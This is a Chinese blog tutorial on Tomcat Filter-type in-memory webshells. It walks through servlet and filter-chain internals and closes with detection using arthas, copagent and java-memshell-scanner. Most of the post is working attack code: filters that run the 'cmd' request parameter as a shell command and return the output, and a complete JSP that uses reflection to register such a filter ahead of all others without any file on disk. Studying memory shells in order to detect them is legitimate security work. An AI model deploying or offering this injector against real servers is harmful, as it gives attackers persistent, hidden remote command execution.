复制代码

6. 站在巨人的肩膀学习Java Filter型内存马

本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章:

Tomcat 内存马学习(一):Filter型

tomcat无文件内存webshell

Java Filter型内存马的学习与实践

JSP Webshell那些事

中间件内存马注入&冰蝎连接

Java安全之基于Tomcat实现内存马

Tomcat内存马学习一-Filter型

什么是Servlet

Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。

请求的处理流程

  1. 客户端发起一个http请求,比如get类型。

  2. Servlet容器接收到请求,根据请求信息,封装成HttpServletRequest和HttpServletResponse对象。

  3. Servlet容器调用HttpServlet的init()方法,init方法只在第一次请求的时候被调用。

  4. Servlet容器调用service()方法。service()方法根据请求类型,这里是get类型,分别调用doGet或者

    doPost方法,这里调用doGet方法。doXXX方法中是我们自己写的业务逻辑。

  5. 业务逻辑处理完成之后,返回给Servlet容器,然后容器将结果返回给客户端。容器关闭时候,会调用destory方法

1.3 Tomcat和Servlet的关系

Tomcat 是Web应用服务器,是一个Servlet/JSP容器,Tomcat 作为Servlet容器,负责处理客户请求,把请求传送给Servlet,并将Servlet的响应传送回给客户。

 

其中Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine

  2. Host,实现类为 org.apache.catalina.core.StandardHost

  3. Context,实现类为 org.apache.catalina.core.StandardContext

  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

 

它们之间是存在父子关系的

  • Engine:可以用来配置多个虚拟主机,每个虚拟主机都有一个域名,当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理,Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。
  • Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
  • Context:一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成。 Context在创建的时候将根据配置文件\$CATALINA_HOME/conf/web.xml和\$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
  • Wrapper:一个 Wrapper 代表一个 Servlet。

 

每个Wrapper实例表示一个具体的Servlet定义,StandardWrapper是Wrapper接口的标准实现类(StandardWrapper 的主要任务就是载入Servlet类并且进行实例化)

最终的流程图如下:

Tomcat容器

在 Tomcat 中,每个 Host 下可以有多个 Context (Context 是 Host 的子容器), 每个 Context 都代表一个具体的Web应用,都有一个唯一的路径就相当于下图中的 /shop /manager 这种,在一个 Context 下可以有着多个 Wrapper Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收

Tomcat Filter流程分析

什么是Filter

filter也称之为过滤器,过滤器实际上就是对web资源进行拦截,做一些过滤,权限鉴别等处理后再交给下一个过滤器或servlet处理,通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。

  当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter方法中,开发人员如果调用了FilterChain对象的doFilter方法,则web服务器会检查FilterChain对象中是否还有filter,如果有,则调用第2个filter,如果没有,则调用目标资源。

  如果我们动态创建一个filter并且将其放在最前面,我们的filter就会最先执行,当我们在filter中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

Filter生命周期

public void init(FilterConfig filterConfig) throws ServletException;   //初始化

和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时, web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只 会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;   //拦截请求

这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。

public void destroy();  //销毁

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

相关Filter类介绍

FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例等基本信息

FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息

FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter

ApplicationFilterChain:调用过滤器链

ApplicationFilterConfig:获取过滤器

ApplicationFilterFactory:组装过滤器链

WebXml:存放 web.xml 中内容的类

ContextConfig:Web应用的上下文配置类

StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

Filter过滤链分析

在IDEA中创建Servlet,可参照下方链接《IntelliJ IDEA创建Servlet最新方法 Idea版本2020.2.2以及IntelliJ IDEA创建Servlet 404问题(超详细)》,唯一不一样的是Filter配置在web.xml,而不是通过@注释配置在类中。

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.FilterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <filter>
        <filter-name>filterDemo2</filter-name>
        <filter-class>filter.FilterDemo2</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

</web-app>

这里写了两个FilterDemo,代码基本相同,主要是为了展示这个Filter过滤链

FilterDemo.java:

package filter;

import javax.servlet.*;
import java.io.IOException;

public class FilterDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("第一个Filter 初始化创建");
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("第一个Filter执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

访问 http://localhost:8080/,即可成功触发

接下来借用下面这张图分析一下 Tomcat 中是如何将我们自定义的 filter 进行设置并且调用的:

Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml

先来看在StandardWrapperValue.java文件中中利用createFilterChain来创建filterChain

跟进createFilterChain方法

通过getParent()获取当前的Context,也就是当前的应用,然后从Context中获取filterMaps

然后开始遍历FilterMaps

如果当前请求的url与FilterMap中的urlPattern匹配,就会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入if循环,将 filterConfig 添加到 filterChain中,跟进addFilter方法

可以看到此时已经装配第一个filter

重复遍历直至将所有的filter全部装载到filterchain中

重新回到 StandardContextValue 中,调用 filterChain 的 doFilter 方法 ,就会依次调用 Filter 链上的 doFilter方法

此时的filterchain

跟进doFilter方法,在 doFilter 方法中会调用 internalDoFilter方法

跟进internalDoFilter方法

image.png

发现会依次从 filters 中取出 filterConfig,然后会调用 getFilter() 将 filter 从filterConfig 中取出,调用 filter 的 doFilter方法。从而调用我们自定义过滤器中的 doFilter 方法,从而触发了相应的代码。

总结:

  1. 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
  2. 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

 

根据上面的总结可以发现最开始是从 context 中获取的 FilterMaps

将符合条件的依次按照顺序进行调用,那么我们可以将自己创建的一个 FilterMap 然后将其放在 FilterMaps 的最前面,这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的 FilterConfig ,然后添加到 FilterChain 中,最终触发我们的内存shell。

Filter型内存马

Filter型内存马原理

Filter是javaweb中的过滤器,会对客户端发送的请求进行过滤并做一些操作,我们可以在filter中写入命令执行的恶意文件,让客户端发来的请求通过它来做命令执行。而filter内存马是通过动态注册一个恶意filter,由于是动态注册的,所以这个filter没有文件实体,存在于内存中,随着tomcat重启而消失。一般我们把这个filter放在所有filter最前面优先执行,这样我们的请求就不会受到其他正常filter的干扰。

web.xml简单实现内存马注入

看完上面的Filter过滤链,本地模拟一个Filter内存马注入:

在web.xml添加一个恶意的filter:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <filter>
        <filter-name>cmd_Filters</filter-name>
        <filter-class>filter.cmd_Filters</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>cmd_Filters</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filter.FilterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

</web-app>

cmd_Filters.java

package filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class cmd_Filters implements Filter {
    public void destroy() {
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        if (req.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            resp.getWriter().write(output);
            resp.getWriter().flush();
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig config) throws ServletException {

    }

}

重新编译,执行命令

我们把恶意的Filter注入内存中,只要符合urlpattern,就可以触发内存shell,但这个Filter内存马注入是一次性的,重启就没有了。

 

看一下此时的Filter类filterConfigs,filterDefs,filterMaps保存的内容

filterchain中保存的内容

可以发现程序在创建过滤器链的时候,如果我们能够修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,就可以组装到filterchain里,当访问符合urlpattern的时候,就能达到利用Filter执行内存注入的操作。

Filter内存马动态注入

从上面的例子简单知道内存马的注入过程,但是实际环境中怎么可能在web.xml中添加对应的恶意Filter类,所以我们需要借用Java反射来修改filterConfigs,filterDefs,filterMaps这三个变量,将我们恶意构造的FilterName以及对应的urlpattern存放到FilterMaps,进而达到利用Filter执行内存注入的操作。

大致流程如下:

  1. 创建一个恶意 Filter

  2. 利用 FilterDef 对 Filter 进行一个封装

  3. 将 FilterDef 添加到 FilterDefs 和 FilterConfig

  4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中(由于 Filter 生效会有一个先后顺序,所以我们一般都是放在最前面,让我们的 Filter 最先触发)

 

从前面的的分析,可以发现程序在创建过滤器链的时候,context变量里面包含了三个和filter有关的成员变量:filterConfigs,filterDefs,filterMaps

现在要解决的两个问题:

  1. 如何获取这个context对象。
  2. 如何修改filterConfigs,filterDefs,filterMaps,将恶意类插入。

1) 如何获取这个(StandardContext)context对象

在这之前先来说一下ServletContext跟StandardContext的关系:

Tomcat中的对应的ServletContext实现是ApplicationContext

在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。通过下面的图可以很清晰的看到两者之间的关系

当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context。

其实也是层层递归取出context字段的值。

 

ServeltContext -> ApplicationContext

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

//上面几行的目的是为了获取(ApplicationContext)context

通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问,此时appctx的值:

通过(ApplicationContext) appctx.get(servletContext)获取(ApplicationContext)context的内容:

现在的目的是继续获取(StandardContext)context的值

 

ApplicationContext -> StandardContextApplicationContext实例中包含了StandardContext实例

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

//上面几行的目的是为了获取(StandradContext)context

通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问,此时stdctx的值:

通过(StandardContext) stdctx.get(servletContext)获取(StandardContext)context的内容:

这样就可以获取(StandardContext)context对象。

组合起来就是:

ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 这样我们就获取到了 context 
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 

上面这种如果是可以直接获取到request对象,就可以通过将ServletContext转StandardContext这种方法来获取(StandardContext)context的方法。如果没有request对象的话可以从当前线程中获取StandardContext(https://zhuanlan.zhihu.com/p/114625962)。

当然也可以从MBean中获取,可以参考下面文章:

TOMCAT FILTER 之动态注入

通过Mbean获取context

2) 如何修改filterConfigs,filterDefs,filterMaps

查看StandardContext源码,先来介绍几个方法

addFilterDef

添加一个filterDef到Context

addFilterMapBefore

添加filterMap到所有filter最前面

ApplicationFilterConfig

为指定的过滤器构造一个新的 ApplicationFilterConfig

 

 

先来定义一个恶意的类filterDemo.java

package filter;

import javax.servlet.*;
import java.io.IOException;

class filterDemo implements Filter {
    
  @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
  
  @Override
  public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
    String cmd = servletRequest.getParameter("cmd");
    if (cmd!= null) {
      Process process = Runtime.getRuntime().exec(cmd);
      java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
           new java.io.InputStreamReader(process.getInputStream()));
           StringBuilder stringBuilder = new StringBuilder();
           String line;
           while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
           }
           servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
           servletResponse.getOutputStream().flush();
           servletResponse.getOutputStream().close();
           return;
     }
     filterChain.doFilter(servletRequest, servletResponse);
  }

  @Override
  public void destroy() {
  }
}

filterDef装载

看一下filterDef类的参数格式:

实例化一个FilterDef对象,并将恶意构造的恶意类添加到filterDef中

//定义一些基础属性、类名、filter名等
filterDemo filter = new filterDemo();
FilterDef filterDef = new FilterDef();

//name = filterDemo
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);

//添加filterDef
standardContext.addFilterDef(filterDef);

filterMap装载

看一下filterMap类的参数格式:

实例化一个FilterMap对象,并将filterMap到所有filter最前面

//创建filterMap,设置filter和url的映射关系,可设置成单一url如/xyz ,也可以所有页面都可触发可设置为/*
FilterMap filterMap = new FilterMap();
// filterMap.addURLPattern("/*");
filterMap.addURLPattern("/xyz");

//name = filterDemo
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

//添加我们的filterMap到所有filter最前面
standardContext.addFilterMapBefore(filterMap);

filterConfigs装载

FilterConfigs存放filterConfig的数组,在FilterConfig中主要存放FilterDef和Filter对象等信息

先获取当前filterConfigs信息

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

下面通过Java反射来获得构造器(Constructor)对象并调用其newInstance()方法创建创建FilterConfig

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

先调用ApplicationFilterConfig.class.getDeclaredConstructor方法,根据context.class与filterDef.class两种参数类型寻找对应的构造方法,获取一个Constructor类对象。

然后通过newInstance(standardContext, filterDef)来创建一个实例。

然后将恶意的filter名和配置好的filterConfig传入

//name = filterDemo
filterConfigs.put(name,filterConfig);

至此,我们的恶意filter已经全部装载完成

3) 内存马动态注入

结合上面的分析,最终的内存马为:

filterDemo.jsp

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
  final String name = "FilterAgent";
  ServletContext servletContext = request.getSession().getServletContext();

  Field appctx = servletContext.getClass().getDeclaredField("context");
  appctx.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

  Field stdctx = applicationContext.getClass().getDeclaredField("context");
  stdctx.setAccessible(true);
  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

  Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  Configs.setAccessible(true);
  Map filterConfigs = (Map) Configs.get(standardContext);

  if (filterConfigs.get(name) == null){
    Filter filter = new Filter() {
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {

      }

      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("cmd") != null){
          byte[] bytes = new byte[1024];
          Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
          int len = process.getInputStream().read(bytes);
          servletResponse.getWriter().write(new String(bytes,0,len));
          process.destroy();
          return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
      }

      @Override
      public void destroy() {

      }

    };


    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    /**
     * 将filterDef添加到filterDefs中
     */
    standardContext.addFilterDef(filterDef);

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());

    standardContext.addFilterMapBefore(filterMap);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

    filterConfigs.put(name,filterConfig);
    out.print("Inject Success !");
  }
%>

tomcat 7 与 tomcat 8 在 FilterDef 和 FilterMap 这两个类所属的包名不一样

<!-- tomcat 8/9 -->

<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap"

<!-- page import = "org.apache.tomcat.util.descriptor.web.FilterDef" -->

 

<!-- tomcat 7 -->

<%@ page import = "org.apache.catalina.deploy.FilterMap" %>

<%@ page import = "org.apache.catalina.deploy.FilterDef" %>

运行程序,访问filterDemo.jsp

此时的内存马已经注入到内存中,只需 ?cmd=Command,即可执行我们的命令

看一下此时的filterchain过滤链:

看一下filterConfigs,filterDefs,filterMaps中的内容:

已经成功注入到内存中

内存马排查

参考《tomcat内存马的多种查杀方式

arthas

arthas是Alibaba开源的Java诊断工具

工具链接:https://github.com/alibaba/arthas

使用文档:https://arthas.aliyun.com/doc/quick-start.html

运行下面命令

java -jar arthas-boot.jar

输入1选择tomcat的进程,之后会进入下面的操作界面:


利用下面的命令进行模糊搜索,会列出所有调用了Filter的类

 sc *.Filter 

利用下面命令将 Class 进行反编译

 jad --source-only org.apache.jsp.filterDemo_jsp


同时也可以进行监控 ,当我们访问 url 就会输出监控结果

watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'

copagent

工具链接:https://github.com/LandGrey/copagent

运行下面命令

java -jar cop.jar

输入1选择tomcat的进程,之后会进入下面的操作界面:

然后在java或class文件夹会保存木马以及运行的类

java-memshell-scanner

工具链接:https://github.com/c0ny1/java-memshell-scanner

c0ny1 师傅写的检测内存马的工具,通过jsp脚本扫描并查杀各类中间件内存马,比Java agent要温和一些。能够检测并且进行删除,是一个非常方便的工具

 

内存马远不止这些,本文中内存马还是需要上传 jsp 来生效,但是实际上利用方式远不止这样,我们还可以借助各种反序列化来动态注册 Filter 等。

 

本次项目的代码文件已打包在github:https://github.com/bmjoker/FilterAgent

 

posted @ 2021-08-08 15:11  bmjoker  阅读(2095)  评论(1编辑  收藏  举报